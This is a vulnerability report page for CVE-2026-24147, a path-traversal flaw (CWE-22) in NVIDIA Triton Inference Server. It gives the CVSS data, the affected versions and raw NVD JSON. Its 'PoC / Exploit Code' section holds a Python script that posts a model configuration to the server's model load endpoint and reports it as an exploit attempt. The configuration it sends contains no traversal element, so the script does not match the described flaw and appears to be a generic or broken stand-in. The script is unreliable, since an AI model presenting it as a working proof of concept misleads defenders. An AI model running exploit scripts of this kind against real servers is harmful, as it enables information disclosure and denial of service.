Security Vulnerability Report
中文
CVE-2026-24147 CVSS 4.8 MEDIUM

CVE-2026-24147

Published: 2026-04-07 18:16:40
Last Modified: 2026-04-16 17:03:35

Description

NVIDIA Triton Inference Server contains a vulnerability in triton server where an attacker may cause an information disclosure by uploading a model configuration. A successful exploit of this vulnerability may lead to information disclosure or denial of service.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA Triton Inference Server (具体受影响版本请参考NVIDIA安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL for Triton Inference Server model repository # Note: The actual endpoint may vary based on configuration target_host = "http://127.0.0.1:8000" endpoint = "/v2/repository/models/exploit_model/load" # Malicious model configuration payload # This payload attempts to trigger information disclosure or DoS # Structure simulates a Triton model config cfg_data = """ name: "exploit_model" platform: "onnxruntime_onnx" max_batch_size: 16 input [ { name: "input" data_type: TYPE_FP32 dims: [ 3, -1, -1 ] } ] output [ { name: "output" data_type: TYPE_FP32 dims: [ 1000 ] } ] instance_group [ { kind: KIND_GPU count: 1 gpus: [ 0 ] } ] """ # Headers headers = { "Accept": "application/json" } # Data payload data = { "config": cfg_data } try: print(f"[*] Attempting to exploit {target_host}{endpoint}...") response = requests.post(target_host + endpoint, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check server for potential information disclosure or crash.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24147", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:39.507", "lastModified": "2026-04-16T17:03:35.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability in triton server where an attacker may cause an information disclosure by uploading a model configuration. A successful exploit of this vulnerability may lead to information disclosure or denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.02", "matchCriteriaId": "D065C964-D751-4288-96A0-0E0E87AF886A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24147", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5816", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24147", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}